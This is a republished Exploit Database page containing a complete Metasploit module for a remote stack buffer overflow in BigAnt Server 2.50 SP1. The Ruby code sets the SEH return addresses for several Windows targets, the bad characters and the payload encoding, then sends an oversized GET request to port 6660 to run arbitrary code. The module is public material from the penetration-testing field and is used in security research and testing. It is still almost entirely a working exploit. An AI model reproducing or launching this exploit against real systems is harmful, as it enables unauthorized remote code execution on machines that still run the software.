BigAnt Server 2.50 SP1 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16431/

• ##
  # $Id: bigant_server_250.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',
  			'Description'=> %q{
  				This exploits a stack buffer overflow in the BigAnt Messaging Service,
  				part of the BigAnt Server product suite. This module was tested
  				successfully against version 2.50 SP1.
  			},
  			'Author' 	 => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					# It's not clear if these are correct - there was a fix for
  					# the v2.2 vuln back in Dec 2008
  					[ 'CVE', '2008-1914'],
  					[ 'OSVDB', '44454'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/9673' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/9690' ]
  					#[ 'B_ID', '28795' ],
  					#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 710,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops'=>'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'BigAnt 2.5 Universal',		{ 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
  					[ 'Windows 2000 Pro All English', 	{ 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
  					[ 'Windows XP Pro SP0/SP1 English', 	{ 'Ret' => 0x71aa32ad } ], # Should Work
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Apr 15 2008'))
  
  		register_options([Opt::RPORT(6660)], self.class)
  	end
  
  	def exploit
  		connect
  
  		sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
  		sploit << rand_text_alpha_upper(1000 - payload.encoded.length)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit + "\r\n\r\n")
  
  		handler
  		disconnect
  	end
  
  end